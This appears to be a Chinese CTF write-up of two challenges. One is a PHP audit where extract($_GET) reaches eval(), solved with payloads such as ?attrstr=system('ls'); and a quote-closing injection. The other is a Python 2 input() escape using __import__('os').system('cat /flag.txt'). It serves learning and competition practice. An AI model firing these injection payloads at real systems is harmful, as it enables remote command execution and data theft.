文章目录
-
- Web 欢迎来到魔法世界
-
- 我的解法
- 师傅的wp
- Misc WELCOME DASCTFxJlenu
Web 欢迎来到魔法世界
打开容器,即进行php代码审计
<?php
highlight_file('index.php');extract($_GET);//将GET方式传递的参数赋值
error_reporting(0);
function String2Array($data)//eval那里存在命令执行
{
if($data == '') return array();@eval("\$array = $data;");return $array;
}if(is_array($attrid) && is_array($attrvalue))//需要传入的参数都是数组
{
//这段代码我总结是一个php代码闭合的过程$attrstr .= 'array(';$attrids = count($attrid);for($i=0; $i<$attrids; $i++){
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';if($i < $attrids-1){
$attrstr .= ',';}}$attrstr .= ');';
}String2Array($attrstr);
我的解法
但是比赛的时候,我刚开始一直在想中间那一段代码需要怎么构造,才能够命令执行,审了好大会儿,然后忽然发现,如果下面这个判断不成立的话, 那么就不用进行构造了
f(is_array($attrid) && is_array($attrvalue))
而代码的开头有extract($_GET);
,可以直接进行赋值,所以我们可以直接传参attrstr
?attrstr=system('ls');
哈哈哈,回显表明方法可行,然后查看根目录/,发现有个flag.sh,价值不大。。。。。
查看phpinfo(),可以找到flag
?attrstr=phpinfo();
师傅的wp
之后和Cubestone师傅交流的时候,师傅用的比较正规的解法,学习一下
?attrid[]=1&attrvalue[]=");phpinfo();$a=("
有几个要注意的地方
- count()函数返回数组中元素的个数,那么attrid数组,传一个元素进去即可
$attrids = count($attrid);
- payload中的前两个参数是数组形式
- 需要闭合",payload中最后的$a=(“就是为了闭合”
Misc WELCOME DASCTFxJlenu
nc连接
nc node4.buuoj.cn 29020
然后利用python2的input漏洞(我把它和python的模板注入联系在一起了)
__import__('os').system('ls /')
发现flag.txt
__import__('os').system('cat /flag.txt')
得flag